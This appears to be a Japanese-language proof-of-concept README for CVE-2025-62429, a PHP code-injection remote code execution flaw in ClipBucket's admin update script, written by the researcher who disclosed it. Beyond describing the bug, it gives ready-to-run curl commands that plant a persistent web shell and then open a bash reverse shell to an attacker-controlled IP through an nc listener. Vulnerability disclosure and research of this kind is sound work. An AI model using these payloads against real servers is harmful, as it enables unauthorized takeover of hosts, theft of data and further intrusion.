CVE-2025-62429 PoC - clipbucket RCE

update_launch.php の PHPコードインジェクションによる RCE の Proof-of-Concept

開示: GHSA-3h9c-7j8r-xc3v を通じて私が最初に報告しました。

⚠️ 許可されたペネトレーションテスト/研究目的でのみ使用してください。

脆弱性情報

フィールド	値
CVE ID	CVE-2025-62429
深刻度	🔴 高
CVSS スコア	7.2
CVSS ベクター	[CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H]
CWE	CWE-78: OS コマンドインジェクション, CWE-94: コードインジェクション
影響を受ける製品	ClibBucket <= 5.5.3 - #79
パッチ適用バージョン	5.5.3 - #80
アドバイザリ	GHSA-3h9c-7j8r-xc3v

CVE-2025-62429: update_launch.php の PHPコードインジェクションによる認証済みリモートコード実行 (RCE)

概要

ClipBucket v5.5.3-61 には、認証済みリモートコード実行 (RCE) の脆弱性が存在します。この脆弱性は CWE-94: コード生成の制御が不適切 ('コードインジェクション') に分類されます。アプリケーションは update_launch.php 内で実行可能な PHP コードを生成するために使用されるユーザー制御の入力を適切にサニタイズしていません。認証済みの管理者はこれを悪用して、基盤となるサーバー上で完全なコマンド実行を達成し、Web 管理者からシステムユーザー (例: containeruser) へ権限を昇格させることができます。

詳細

脆弱性は upload/admin_area/actions/update_launch.php にあります。このスクリプトは、一時的な PHP バックグラウンドスクリプトを動的に生成することでシステム更新を実現します。

脆弱なコードスニペット: upload/admin_area/actions/update_launch.php (40〜86行目)

// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);

// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);

悪用メカニズム: type パラメータはエスケープやサニタイズなしに $data 文字列へ連結されるため、攻撃者はシングルクォート (') を使用して文字列リテラルのコンテキストから抜け出すことができます。その後、任意の PHP 関数 (system() や file_put_contents() など) を注入し、// を使用して元のコードの残りをコメントアウトできます。これにより、攻撃者が指定したコードが PHP-CLI プロセスの権限で実行されます。

前提条件

アクセスレベル: 管理者権限。
認証: 有効な PHPSESSID セッションクッキー。

PoC (Proof of Concept)

ステージ1: 検証と Web シェルの展開 (永続化)

まず、ドキュメントルートに永続的な Web シェルを展開して、この脆弱性を実証します。

細工された POST リクエストを脆弱なエンドポイントに送信します:

curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"

システム ID を取得して実行を確認します:

curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Expected Response: uid=1000(containeruser) gid=1000(containeruser) ...

ステージ2: リバースシェル (完全なシステム制御)

RCE を確認した後、ポストエクスプロイテーション用のインタラクティブシェルを確立します。

攻撃者マシンで Netcat リスナーを起動します:

nc -lvnp 4444

展開した Web シェルを介してリバースシェルをトリガーします:

curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"

攻撃者マシンが接続を受け取り、containeruser として完全なインタラクティブシェルアクセスが付与されます。

影響

悪用に成功すると、攻撃者は任意のシステムコマンドを実行できます。これにより、次の結果が生じます:

完全なデータアクセス: 機密性の高い設定ファイル (例: config.inc.php) やデータベース全体を読み取ることができます。
システム整合性の侵害: Web サーバープロセスがアクセスできる任意のファイルを変更または削除できます。
ラテラルムーブメント: 侵害されたホストは、内部インフラストラクチャ内でのさらなる攻撃の足掛かりとして使用されます。

CVE-2025-62429

人気